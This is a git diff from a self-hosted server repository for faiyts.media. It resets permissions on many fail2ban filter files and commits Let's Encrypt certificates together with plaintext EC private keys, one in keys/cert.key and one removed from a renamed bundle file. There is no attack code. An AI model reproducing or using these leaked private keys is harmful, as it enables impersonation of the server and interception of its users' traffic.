a/fail2ban/filter.d/ejabberd-auth.conf b/fail2ban/filter.d/ejabberd-auth.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/exim-common.conf b/fail2ban/filter.d/exim-common.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/exim-spam.conf b/fail2ban/filter.d/exim-spam.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/exim.conf b/fail2ban/filter.d/exim.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/freeswitch.conf b/fail2ban/filter.d/freeswitch.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/froxlor-auth.conf b/fail2ban/filter.d/froxlor-auth.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/gitlab.conf b/fail2ban/filter.d/gitlab.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/grafana.conf b/fail2ban/filter.d/grafana.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/groupoffice.conf b/fail2ban/filter.d/groupoffice.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/gssftpd.conf b/fail2ban/filter.d/gssftpd.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/guacamole.conf b/fail2ban/filter.d/guacamole.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/haproxy-http-auth.conf b/fail2ban/filter.d/haproxy-http-auth.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/horde.conf b/fail2ban/filter.d/horde.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/ignorecommands/apache-fakegooglebot b/fail2ban/filter.d/ignorecommands/apache-fakegooglebot old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/kerio.conf b/fail2ban/filter.d/kerio.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/lighttpd-auth.conf b/fail2ban/filter.d/lighttpd-auth.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/mongodb-auth.conf b/fail2ban/filter.d/mongodb-auth.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/monit.conf b/fail2ban/filter.d/monit.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/monitorix.conf b/fail2ban/filter.d/monitorix.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/mssql-auth.conf b/fail2ban/filter.d/mssql-auth.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/murmur.conf b/fail2ban/filter.d/murmur.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/mysqld-auth.conf b/fail2ban/filter.d/mysqld-auth.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/nagios.conf b/fail2ban/filter.d/nagios.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/named-refused.conf b/fail2ban/filter.d/named-refused.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/nginx-bad-request.conf b/fail2ban/filter.d/nginx-bad-request.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/nginx-badbots.conf b/fail2ban/filter.d/nginx-badbots.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/nginx-botsearch.conf b/fail2ban/filter.d/nginx-botsearch.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/nginx-deny.conf b/fail2ban/filter.d/nginx-deny.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/nginx-http-auth.conf b/fail2ban/filter.d/nginx-http-auth.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/nginx-limit-req.conf b/fail2ban/filter.d/nginx-limit-req.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/nginx-unauthorized.conf b/fail2ban/filter.d/nginx-unauthorized.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/nsd.conf b/fail2ban/filter.d/nsd.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/openhab.conf b/fail2ban/filter.d/openhab.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/openwebmail.conf b/fail2ban/filter.d/openwebmail.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/oracleims.conf b/fail2ban/filter.d/oracleims.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/pam-generic.conf b/fail2ban/filter.d/pam-generic.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/perdition.conf b/fail2ban/filter.d/perdition.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/php-url-fopen.conf b/fail2ban/filter.d/php-url-fopen.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/phpmyadmin-syslog.conf b/fail2ban/filter.d/phpmyadmin-syslog.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/portsentry.conf b/fail2ban/filter.d/portsentry.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/postfix.conf b/fail2ban/filter.d/postfix.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/proftpd.conf b/fail2ban/filter.d/proftpd.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/pure-ftpd.conf b/fail2ban/filter.d/pure-ftpd.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/qmail.conf b/fail2ban/filter.d/qmail.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/recidive.conf b/fail2ban/filter.d/recidive.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/roundcube-auth.conf b/fail2ban/filter.d/roundcube-auth.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/scanlogd.conf b/fail2ban/filter.d/scanlogd.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/screensharingd.conf b/fail2ban/filter.d/screensharingd.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/selinux-common.conf b/fail2ban/filter.d/selinux-common.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/selinux-ssh.conf b/fail2ban/filter.d/selinux-ssh.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/sendmail-auth.conf b/fail2ban/filter.d/sendmail-auth.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/sendmail-reject.conf b/fail2ban/filter.d/sendmail-reject.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/sieve.conf b/fail2ban/filter.d/sieve.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/slapd.conf b/fail2ban/filter.d/slapd.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/softethervpn.conf b/fail2ban/filter.d/softethervpn.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/sogo-auth.conf b/fail2ban/filter.d/sogo-auth.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/solid-pop3d.conf b/fail2ban/filter.d/solid-pop3d.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/squid.conf b/fail2ban/filter.d/squid.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/squirrelmail.conf b/fail2ban/filter.d/squirrelmail.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/sshd.conf b/fail2ban/filter.d/sshd.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/stunnel.conf b/fail2ban/filter.d/stunnel.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/suhosin.conf b/fail2ban/filter.d/suhosin.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/tine20.conf b/fail2ban/filter.d/tine20.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/traefik-auth.conf b/fail2ban/filter.d/traefik-auth.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/uwimap-auth.conf b/fail2ban/filter.d/uwimap-auth.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/vsftpd.conf b/fail2ban/filter.d/vsftpd.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/webmin-auth.conf b/fail2ban/filter.d/webmin-auth.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/wuftpd.conf b/fail2ban/filter.d/wuftpd.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/xinetd-fail.conf b/fail2ban/filter.d/xinetd-fail.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/znc-adminlog.conf b/fail2ban/filter.d/znc-adminlog.conf old mode 100755 new mode 100644 diff --git a/fail2ban/filter.d/zoneminder.conf b/fail2ban/filter.d/zoneminder.conf old mode 100755 new mode 100644 diff --git a/fail2ban/jail.local b/fail2ban/jail.local old mode 100755 new mode 100644 diff --git a/keys/cert.crt b/keys/cert.crt index fdf4b6f..8f1d398 120000 --- a/keys/cert.crt +++ b/keys/cert.crt @@ -1 +1,72 @@ -./letsencrypt/fullchain.pem \ No newline at end of file +-----BEGIN CERTIFICATE----- +MIIHVDCCBjygAwIBAgISBL7yenVveXz4q4ogtDwJeGB6MA0GCSqGSIb3DQEBCwUA +MDIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQswCQYDVQQD +EwJSMzAeFw0yNDA2MDExNzM2MTJaFw0yNDA4MzAxNzM2MTFaMBcxFTATBgNVBAMT +DGZhaXl0cy5tZWRpYTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABMkwazTLlOJP +0U5UqGBTws+0L7eiMCXKLslfDwV/F+AxSFNPQbPkbauz+/yAiACNnSkfnldPFhM5 +qO1dYDPmGLGjggVIMIIFRDAOBgNVHQ8BAf8EBAMCB4AwHQYDVR0lBBYwFAYIKwYB +BQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFLO9BWealFLA +NSzyUWckwZqdKH4NMB8GA1UdIwQYMBaAFBQusxe3WFbLrlAJQOYfr52LFMLGMFUG +CCsGAQUFBwEBBEkwRzAhBggrBgEFBQcwAYYVaHR0cDovL3IzLm8ubGVuY3Iub3Jn +MCIGCCsGAQUFBzAChhZodHRwOi8vcjMuaS5sZW5jci5vcmcvMIIDTwYDVR0RBIID +RjCCA0KCEmFuaW1lLmZhaXl0cy5tZWRpYYIQYXBpLmZhaXl0cy5tZWRpYYISYmxv +Y2suZmFpeXRzLm1lZGlhghJib29rcy5mYWl5dHMubWVkaWGCFWNoYW5uZWxzLmZh +aXl0cy5tZWRpYYISY2xvdWQuZmFpeXRzLm1lZGlhghdjb250YWluZXJzLmZhaXl0 +cy5tZWRpYYIUY291Y2hkYi5mYWl5dHMubWVkaWGCEWRhc2guZmFpeXRzLm1lZGlh +gg9kYi5mYWl5dHMubWVkaWGCEWVtYnkuZmFpeXRzLm1lZGlhggxmYWl5dHMubWVk +aWGCEWZpbmQuZmFpeXRzLm1lZGlhghFob21lLmZhaXl0cy5tZWRpYYIVamVsbHlm +aW4uZmFpeXRzLm1lZGlhghNsaXN0ZW4uZmFpeXRzLm1lZGlhghFsb2dzLmZhaXl0 +cy5tZWRpYYIRbWFpbC5mYWl5dHMubWVkaWGCFm1pbmVjcmFmdC5mYWl5dHMubWVk +aWGCE21vdmllcy5mYWl5dHMubWVkaWGCEm11c2ljLmZhaXl0cy5tZWRpYYISbm90 +ZXMuZmFpeXRzLm1lZGlhghVwYWx3b3JsZC5mYWl5dHMubWVkaWGCEXBsZXguZmFp +eXRzLm1lZGlhghJwcm93bC5mYWl5dHMubWVkaWGCEXJlYWQuZmFpeXRzLm1lZGlh +ghRyZWNpcGVzLmZhaXl0cy5tZWRpYYIUcmVxdWVzdC5mYWl5dHMubWVkaWGCE3Jv +dXRlci5mYWl5dHMubWVkaWGCFnN1YnRpdGxlcy5mYWl5dHMubWVkaWGCEXN5bmMu +ZmFpeXRzLm1lZGlhghV0ZXJyYXJpYS5mYWl5dHMubWVkaWGCFHRvcnJlbnQuZmFp +eXRzLm1lZGlhghZ0cmFuc2NvZGUuZmFpeXRzLm1lZGlhghF0dWJlLmZhaXl0cy5t +ZWRpYYIPdHYuZmFpeXRzLm1lZGlhghN1c2VuZXQuZmFpeXRzLm1lZGlhghB2cG4u +ZmFpeXRzLm1lZGlhghN3YXJkZW4uZmFpeXRzLm1lZGlhghJ3YXRjaC5mYWl5dHMu +bWVkaWGCEHd3dy5mYWl5dHMubWVkaWEwEwYDVR0gBAwwCjAIBgZngQwBAgEwggEE +BgorBgEEAdZ5AgQCBIH1BIHyAPAAdgDf4VbrqgWvtZwPhnGNqMAyTq5W2W6n9aVq +AdHBO75SXAAAAY/VFoCKAAAEAwBHMEUCIBnxeMswF2k+6SY4AGn91bAwt/5fUzcV +cIS890B629AHAiEAlTBEQ8wMmUjdKCi3Br31NqrfRuSefxPhnW8nAPG/5EEAdgA/ +F0tP1yJHWJQdZRyEvg0S7ZA3fx+FauvBvyiF7PhkbgAAAY/VFoeeAAAEAwBHMEUC +IQDXFaN/bRHs1iklBZPh8JIeo2KlH3qwZXW1sdsWY6g9pgIgcro17/yZwLhWkIlz +cTuwwwHUntnvyp8AfP4Vr2gLAtswDQYJKoZIhvcNAQELBQADggEBACVqu7kZnZp1 +QFtRbhHSpU5gxCT5WRbgZsrLjZqVAzgOoJFvTTYvwWSCbYe6a33ieU/H9tacphnU +phWybA8sgHNvjqa4B1u9igXJSJcVt8fMKtXVIlNL7P/PIEbOfo3dWsaeIl0oIlN9 +JgSXMMU2BaMpgckXDBbDsN4hNBQCuWjHPRZ0aOEUZszA6HT8tET3s6JHvQ82nDlx +7X9mSr0822X0xAlXz/MvC3oZMOVOQlKrwMcYY2976xWkKpgmJCVFvWQQOZoGQl1F +YyZdXd/wYqzAbb3iqCNiuDrlYa4Oa+UeuzvM4fLAcg5m3QcmRdM2pLCAJ0xRrytD +27xtrdqbfIQ= +-----END CERTIFICATE----- +-----BEGIN CERTIFICATE----- +MIIFFjCCAv6gAwIBAgIRAJErCErPDBinU/bWLiWnX1owDQYJKoZIhvcNAQELBQAw +TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh +cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjAwOTA0MDAwMDAw +WhcNMjUwOTE1MTYwMDAwWjAyMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg +RW5jcnlwdDELMAkGA1UEAxMCUjMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK +AoIBAQC7AhUozPaglNMPEuyNVZLD+ILxmaZ6QoinXSaqtSu5xUyxr45r+XXIo9cP +R5QUVTVXjJ6oojkZ9YI8QqlObvU7wy7bjcCwXPNZOOftz2nwWgsbvsCUJCWH+jdx +sxPnHKzhm+/b5DtFUkWWqcFTzjTIUu61ru2P3mBw4qVUq7ZtDpelQDRrK9O8Zutm +NHz6a4uPVymZ+DAXXbpyb/uBxa3Shlg9F8fnCbvxK/eG3MHacV3URuPMrSXBiLxg +Z3Vms/EY96Jc5lP/Ooi2R6X/ExjqmAl3P51T+c8B5fWmcBcUr2Ok/5mzk53cU6cG +/kiFHaFpriV1uxPMUgP17VGhi9sVAgMBAAGjggEIMIIBBDAOBgNVHQ8BAf8EBAMC +AYYwHQYDVR0lBBYwFAYIKwYBBQUHAwIGCCsGAQUFBwMBMBIGA1UdEwEB/wQIMAYB +Af8CAQAwHQYDVR0OBBYEFBQusxe3WFbLrlAJQOYfr52LFMLGMB8GA1UdIwQYMBaA +FHm0WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcw +AoYWaHR0cDovL3gxLmkubGVuY3Iub3JnLzAnBgNVHR8EIDAeMBygGqAYhhZodHRw +Oi8veDEuYy5sZW5jci5vcmcvMCIGA1UdIAQbMBkwCAYGZ4EMAQIBMA0GCysGAQQB +gt8TAQEBMA0GCSqGSIb3DQEBCwUAA4ICAQCFyk5HPqP3hUSFvNVneLKYY611TR6W +PTNlclQtgaDqw+34IL9fzLdwALduO/ZelN7kIJ+m74uyA+eitRY8kc607TkC53wl +ikfmZW4/RvTZ8M6UK+5UzhK8jCdLuMGYL6KvzXGRSgi3yLgjewQtCPkIVz6D2QQz +CkcheAmCJ8MqyJu5zlzyZMjAvnnAT45tRAxekrsu94sQ4egdRCnbWSDtY7kh+BIm +lJNXoB1lBMEKIq4QDUOXoRgffuDghje1WrG9ML+Hbisq/yFOGwXD9RiX8F6sw6W4 +avAuvDszue5L3sz85K+EC4Y/wFVDNvZo4TYXao6Z0f+lQKc0t8DQYzk1OXVu8rp2 +yJMC6alLbBfODALZvYH7n7do1AZls4I9d1P4jnkDrQoxB3UqQ9hVl3LEKQ73xF1O +yK5GhDDX8oVfGKF5u+decIsH4YaTw7mP3GFxJSqv3+0lUFJoi5Lc5da149p90Ids +hCExroL1+7mryIkXPeFM5TgO9r0rvZaBFOvV2z0gp35Z0+L4WPlbuEjN/lxPFin+ +HlUjr8gRsI3qfJOQFy/9rKIJR0Y/8Omwt/8oTWgy1mdeHmmjk7j1nYsvC9JSQ6Zv +MldlTTKB3zhThV1+XWYp6rjd5JW1zbVWEkLNxE7GJThEUG3szgBVGP7pSWTUTsqX +nLRbwHOoq7hHwg== +-----END CERTIFICATE----- diff --git a/keys/cert.key b/keys/cert.key index c2765b5..b2caefc 120000 --- a/keys/cert.key +++ b/keys/cert.key @@ -1 +1,5 @@ -./letsencrypt/privkey.pem \ No newline at end of file +-----BEGIN PRIVATE KEY----- +MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgFdNVDMVHpf/mJk5H +WwYLr46VVDI+gjmcQPhzY/r4MrahRANCAATJMGs0y5TiT9FOVKhgU8LPtC+3ojAl +yi7JXw8FfxfgMUhTT0Gz5G2rs/v8gIgAjZ0pH55XTxYTOajtXWAz5hix +-----END PRIVATE KEY----- diff --git a/keys/letsencrypt b/keys/letsencrypt deleted file mode 120000 index c1b1d22..0000000 --- a/keys/letsencrypt +++ /dev/null @@ -1 +0,0 @@ -../etc/letsencrypt/live/faiyts.media \ No newline at end of file diff --git a/keys/letsencrypt/README b/keys/letsencrypt/README new file mode 100644 index 0000000..5050078 --- /dev/null +++ b/keys/letsencrypt/README @@ -0,0 +1,14 @@ +This directory contains your keys and certificates. + +`privkey.pem` : the private key for your certificate. +`fullchain.pem`: the certificate file used in most server software. +`chain.pem` : used for OCSP stapling in Nginx >=1.3.7. +`cert.pem` : will break many server configurations, and should not be used + without reading further documentation (see link below). + +WARNING: DO NOT MOVE OR RENAME THESE FILES! + Certbot expects these files to remain in this location in order + to function properly! + +We recommend not moving these files. For more information, see the Certbot +User Guide at https://certbot.eff.org/docs/using.html#where-are-my-certificates. diff --git a/keys/letsencrypt/cert.pem b/keys/letsencrypt/cert.pem new file mode 100644 index 0000000..07ec92b --- /dev/null +++ b/keys/letsencrypt/cert.pem @@ -0,0 +1,42 @@ +-----BEGIN CERTIFICATE----- +MIIHVDCCBjygAwIBAgISBL7yenVveXz4q4ogtDwJeGB6MA0GCSqGSIb3DQEBCwUA +MDIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQswCQYDVQQD +EwJSMzAeFw0yNDA2MDExNzM2MTJaFw0yNDA4MzAxNzM2MTFaMBcxFTATBgNVBAMT +DGZhaXl0cy5tZWRpYTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABMkwazTLlOJP +0U5UqGBTws+0L7eiMCXKLslfDwV/F+AxSFNPQbPkbauz+/yAiACNnSkfnldPFhM5 +qO1dYDPmGLGjggVIMIIFRDAOBgNVHQ8BAf8EBAMCB4AwHQYDVR0lBBYwFAYIKwYB +BQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFLO9BWealFLA +NSzyUWckwZqdKH4NMB8GA1UdIwQYMBaAFBQusxe3WFbLrlAJQOYfr52LFMLGMFUG +CCsGAQUFBwEBBEkwRzAhBggrBgEFBQcwAYYVaHR0cDovL3IzLm8ubGVuY3Iub3Jn +MCIGCCsGAQUFBzAChhZodHRwOi8vcjMuaS5sZW5jci5vcmcvMIIDTwYDVR0RBIID +RjCCA0KCEmFuaW1lLmZhaXl0cy5tZWRpYYIQYXBpLmZhaXl0cy5tZWRpYYISYmxv +Y2suZmFpeXRzLm1lZGlhghJib29rcy5mYWl5dHMubWVkaWGCFWNoYW5uZWxzLmZh +aXl0cy5tZWRpYYISY2xvdWQuZmFpeXRzLm1lZGlhghdjb250YWluZXJzLmZhaXl0 +cy5tZWRpYYIUY291Y2hkYi5mYWl5dHMubWVkaWGCEWRhc2guZmFpeXRzLm1lZGlh +gg9kYi5mYWl5dHMubWVkaWGCEWVtYnkuZmFpeXRzLm1lZGlhggxmYWl5dHMubWVk +aWGCEWZpbmQuZmFpeXRzLm1lZGlhghFob21lLmZhaXl0cy5tZWRpYYIVamVsbHlm +aW4uZmFpeXRzLm1lZGlhghNsaXN0ZW4uZmFpeXRzLm1lZGlhghFsb2dzLmZhaXl0 +cy5tZWRpYYIRbWFpbC5mYWl5dHMubWVkaWGCFm1pbmVjcmFmdC5mYWl5dHMubWVk +aWGCE21vdmllcy5mYWl5dHMubWVkaWGCEm11c2ljLmZhaXl0cy5tZWRpYYISbm90 +ZXMuZmFpeXRzLm1lZGlhghVwYWx3b3JsZC5mYWl5dHMubWVkaWGCEXBsZXguZmFp +eXRzLm1lZGlhghJwcm93bC5mYWl5dHMubWVkaWGCEXJlYWQuZmFpeXRzLm1lZGlh +ghRyZWNpcGVzLmZhaXl0cy5tZWRpYYIUcmVxdWVzdC5mYWl5dHMubWVkaWGCE3Jv +dXRlci5mYWl5dHMubWVkaWGCFnN1YnRpdGxlcy5mYWl5dHMubWVkaWGCEXN5bmMu +ZmFpeXRzLm1lZGlhghV0ZXJyYXJpYS5mYWl5dHMubWVkaWGCFHRvcnJlbnQuZmFp +eXRzLm1lZGlhghZ0cmFuc2NvZGUuZmFpeXRzLm1lZGlhghF0dWJlLmZhaXl0cy5t +ZWRpYYIPdHYuZmFpeXRzLm1lZGlhghN1c2VuZXQuZmFpeXRzLm1lZGlhghB2cG4u +ZmFpeXRzLm1lZGlhghN3YXJkZW4uZmFpeXRzLm1lZGlhghJ3YXRjaC5mYWl5dHMu +bWVkaWGCEHd3dy5mYWl5dHMubWVkaWEwEwYDVR0gBAwwCjAIBgZngQwBAgEwggEE +BgorBgEEAdZ5AgQCBIH1BIHyAPAAdgDf4VbrqgWvtZwPhnGNqMAyTq5W2W6n9aVq +AdHBO75SXAAAAY/VFoCKAAAEAwBHMEUCIBnxeMswF2k+6SY4AGn91bAwt/5fUzcV +cIS890B629AHAiEAlTBEQ8wMmUjdKCi3Br31NqrfRuSefxPhnW8nAPG/5EEAdgA/ +F0tP1yJHWJQdZRyEvg0S7ZA3fx+FauvBvyiF7PhkbgAAAY/VFoeeAAAEAwBHMEUC +IQDXFaN/bRHs1iklBZPh8JIeo2KlH3qwZXW1sdsWY6g9pgIgcro17/yZwLhWkIlz +cTuwwwHUntnvyp8AfP4Vr2gLAtswDQYJKoZIhvcNAQELBQADggEBACVqu7kZnZp1 +QFtRbhHSpU5gxCT5WRbgZsrLjZqVAzgOoJFvTTYvwWSCbYe6a33ieU/H9tacphnU +phWybA8sgHNvjqa4B1u9igXJSJcVt8fMKtXVIlNL7P/PIEbOfo3dWsaeIl0oIlN9 +JgSXMMU2BaMpgckXDBbDsN4hNBQCuWjHPRZ0aOEUZszA6HT8tET3s6JHvQ82nDlx +7X9mSr0822X0xAlXz/MvC3oZMOVOQlKrwMcYY2976xWkKpgmJCVFvWQQOZoGQl1F +YyZdXd/wYqzAbb3iqCNiuDrlYa4Oa+UeuzvM4fLAcg5m3QcmRdM2pLCAJ0xRrytD +27xtrdqbfIQ= +-----END CERTIFICATE----- diff --git a/keys/letsencrypt/chain.pem b/keys/letsencrypt/chain.pem new file mode 100644 index 0000000..43b222a --- /dev/null +++ b/keys/letsencrypt/chain.pem @@ -0,0 +1,30 @@ +-----BEGIN CERTIFICATE----- +MIIFFjCCAv6gAwIBAgIRAJErCErPDBinU/bWLiWnX1owDQYJKoZIhvcNAQELBQAw +TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh +cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjAwOTA0MDAwMDAw +WhcNMjUwOTE1MTYwMDAwWjAyMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg +RW5jcnlwdDELMAkGA1UEAxMCUjMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK +AoIBAQC7AhUozPaglNMPEuyNVZLD+ILxmaZ6QoinXSaqtSu5xUyxr45r+XXIo9cP +R5QUVTVXjJ6oojkZ9YI8QqlObvU7wy7bjcCwXPNZOOftz2nwWgsbvsCUJCWH+jdx +sxPnHKzhm+/b5DtFUkWWqcFTzjTIUu61ru2P3mBw4qVUq7ZtDpelQDRrK9O8Zutm +NHz6a4uPVymZ+DAXXbpyb/uBxa3Shlg9F8fnCbvxK/eG3MHacV3URuPMrSXBiLxg +Z3Vms/EY96Jc5lP/Ooi2R6X/ExjqmAl3P51T+c8B5fWmcBcUr2Ok/5mzk53cU6cG +/kiFHaFpriV1uxPMUgP17VGhi9sVAgMBAAGjggEIMIIBBDAOBgNVHQ8BAf8EBAMC +AYYwHQYDVR0lBBYwFAYIKwYBBQUHAwIGCCsGAQUFBwMBMBIGA1UdEwEB/wQIMAYB +Af8CAQAwHQYDVR0OBBYEFBQusxe3WFbLrlAJQOYfr52LFMLGMB8GA1UdIwQYMBaA +FHm0WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcw +AoYWaHR0cDovL3gxLmkubGVuY3Iub3JnLzAnBgNVHR8EIDAeMBygGqAYhhZodHRw +Oi8veDEuYy5sZW5jci5vcmcvMCIGA1UdIAQbMBkwCAYGZ4EMAQIBMA0GCysGAQQB +gt8TAQEBMA0GCSqGSIb3DQEBCwUAA4ICAQCFyk5HPqP3hUSFvNVneLKYY611TR6W +PTNlclQtgaDqw+34IL9fzLdwALduO/ZelN7kIJ+m74uyA+eitRY8kc607TkC53wl +ikfmZW4/RvTZ8M6UK+5UzhK8jCdLuMGYL6KvzXGRSgi3yLgjewQtCPkIVz6D2QQz +CkcheAmCJ8MqyJu5zlzyZMjAvnnAT45tRAxekrsu94sQ4egdRCnbWSDtY7kh+BIm +lJNXoB1lBMEKIq4QDUOXoRgffuDghje1WrG9ML+Hbisq/yFOGwXD9RiX8F6sw6W4 +avAuvDszue5L3sz85K+EC4Y/wFVDNvZo4TYXao6Z0f+lQKc0t8DQYzk1OXVu8rp2 +yJMC6alLbBfODALZvYH7n7do1AZls4I9d1P4jnkDrQoxB3UqQ9hVl3LEKQ73xF1O +yK5GhDDX8oVfGKF5u+decIsH4YaTw7mP3GFxJSqv3+0lUFJoi5Lc5da149p90Ids +hCExroL1+7mryIkXPeFM5TgO9r0rvZaBFOvV2z0gp35Z0+L4WPlbuEjN/lxPFin+ +HlUjr8gRsI3qfJOQFy/9rKIJR0Y/8Omwt/8oTWgy1mdeHmmjk7j1nYsvC9JSQ6Zv +MldlTTKB3zhThV1+XWYp6rjd5JW1zbVWEkLNxE7GJThEUG3szgBVGP7pSWTUTsqX +nLRbwHOoq7hHwg== +-----END CERTIFICATE----- diff --git a/etc/letsencrypt/live/faiyts.media/priv-fullchain-bundle.pem b/keys/letsencrypt/fullchain.pem similarity index 68% rename from etc/letsencrypt/live/faiyts.media/priv-fullchain-bundle.pem rename to keys/letsencrypt/fullchain.pem index 82d3693..8f1d398 100644 --- a/etc/letsencrypt/live/faiyts.media/priv-fullchain-bundle.pem +++ b/keys/letsencrypt/fullchain.pem @@ -1,17 +1,12 @@ ------BEGIN PRIVATE KEY----- -MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgbAIlIlwL3hsw7HgZ -jqyo+EBwu/F6wjNmCN2I4BJtaO+hRANCAAS+H1o8tld8TgtEwha3NzNllCZayZKh -naAjRxM7FSGgu1GxyH7mje01FsBeR37dw1L1UpZDA6x1yfWVfWO5+OPt ------END PRIVATE KEY----- -----BEGIN CERTIFICATE----- -MIIHUjCCBjqgAwIBAgISBO+3R5MZa1Y2Ghrt/IJi8da0MA0GCSqGSIb3DQEBCwUA +MIIHVDCCBjygAwIBAgISBL7yenVveXz4q4ogtDwJeGB6MA0GCSqGSIb3DQEBCwUA MDIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQswCQYDVQQD -EwJSMzAeFw0yNDA1MjkyMDEyNDRaFw0yNDA4MjcyMDEyNDNaMBcxFTATBgNVBAMT -DGZhaXl0cy5tZWRpYTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABL4fWjy2V3xO -C0TCFrc3M2WUJlrJkqGdoCNHEzsVIaC7UbHIfuaN7TUWwF5Hft3DUvVSlkMDrHXJ -9ZV9Y7n44+2jggVGMIIFQjAOBgNVHQ8BAf8EBAMCB4AwHQYDVR0lBBYwFAYIKwYB -BQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFPt9j0aq6vmK -pOx+LhB5e6A3qpvaMB8GA1UdIwQYMBaAFBQusxe3WFbLrlAJQOYfr52LFMLGMFUG +EwJSMzAeFw0yNDA2MDExNzM2MTJaFw0yNDA4MzAxNzM2MTFaMBcxFTATBgNVBAMT +DGZhaXl0cy5tZWRpYTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABMkwazTLlOJP 